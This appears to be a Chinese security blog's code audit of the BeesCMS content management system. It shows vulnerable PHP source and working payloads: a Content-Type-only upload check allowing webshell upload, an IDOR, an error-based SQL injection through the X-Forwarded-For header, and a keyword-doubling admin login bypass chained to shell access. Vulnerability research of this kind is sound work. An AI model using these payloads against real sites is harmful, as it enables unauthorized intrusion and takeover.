BeesCMS 代码审计

挺简单一套CMS,找SQL注入的时候脑残了

后台直接上传WebShell

漏洞位于/admin/admin_pic_upload.php

直接看上传相关的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(is_uploaded_file($v)){
$pic_info['tmp_name']=$v;
$pic_info['size']=$_FILES['up']['size'][$k];
$pic_info['type']=$_FILES['up']['type'][$k];
$pic_info['name']=$_FILES['up']['name'][$k];
$pic_name_alt=empty($is_alt)?'':$pic_alt[$k];
$is_up_size = $_sys['upload_size']*1000*1000;
$value_arr=up_img($pic_info,$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'),$up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);
//处理上传后的图片信息
$pic_name=$value_arr['up_pic_name'];//图片名称空
$pic_ext=$value_arr['up_pic_ext'];//图片扩展名
$pic_title = $pic_alt[$k];//图片描述
$pic_size = $value_arr['up_pic_size'];//图片大小
$pic_path = $value_arr['up_pic_path'];//上传路径
$pic_time = $value_arr['up_pic_time'];//上传时间
$pic_thumb = iconv('GBK','UTF-8',$value_arr['thumb']);//缩略图
$cate = empty($pic_cate)?1:$pic_cate;//图片栏目
//入库
$sql="insert into ".DB_PRE."uppics (pic_name,pic_ext,pic_alt,pic_size,pic_path,pic_time,pic_thumb,pic_cate) values ('".$pic_name."','".$pic_ext."','".$pic_title."','".$pic_size."','".$pic_path."','".$pic_time."','".$pic_thumb."',".$cate.")";
$mysql->query($sql);
}

up_img函数用来判断文件类型,原函数为

1
up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt='')

这里的type很明显是

1
array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png')

这一串,也就是说这是一个只检测Content-Type的函数

轻松搞定

用户咨询鸡肋越权

/member/member.php

看修改咨询处代码

1
2
3
4
5
6
......
$id=intval(fl_value($_GET['id']));
$member_id=intval(fl_value($_GET['member_id']));
if(empty($id)){die("<script type=\"text/javascript\">alert('{$language['msg_info10']}');history.go(-1);</script>");}
$sql="select*from ".DB_PRE."ask where id={$id} and member={$member_id}";
......

只要知道id以及咨询的id即可得知别人的咨询,当然也可以通过遍历,并没什么卵用

产品购买处存在SQL注入

/mx_form/order_save.php

1
2
3
4
5
6
7
$addtime=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$member_id=empty($_SESSION['id'])?0:$_SESSION['id'];
$arc_id=empty($f_id)?0:intval($_POST['f_id']);
$sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')";
$mysql->query($sql);

IP经过fl_value以及fl_html处理

先来看下fl_value

1
2
3
4
5
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

可以看出有许多问题,首先是将一些敏感字符替换为空,替换为空,替换为空!!!

问题似乎很简单了

再来看下fl_html

1
2
3
function fl_html($str){
return htmlspecialchars($str);
}

这里使用了htmlspecialchars进行转义,那么这又是何方神圣呢

看下官方解释

字符 替换后
& (& 符号) &
(双引号) ",除非设置了 ENT_NOQUOTES
(单引号) 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 ' (如果是 ENT_XML1ENT_XHTMLENT_HTML5)。
*<* (小于) <
> (大于) >

其作用是将一些敏感字符替换掉,那么注意了,这里之说当指定了ENT_QUOTES后单引号才会被替换!!!

看来这两个函数对我们并没有什么影响了呢

在购买处填写好消息,然后提交

增加X-Forwarded-For

X-Forwarded-For: lalala','0','' or updatexml(1,concat(0x7e,user(),0x7e),1))#

该CMS基本上都是采用这两个函数进行过滤,也就是说,这个CMS到处是注入!!

后台处:

账号:’ unselection selselectect 1,2,md5(3),4,0#

密码:3

可以直接登陆后台

进入后台利用上传处漏洞可GETSHELL

我愿千金散尽只为赠你火树银花;我愿点亮夜空只为你灿烂一笑。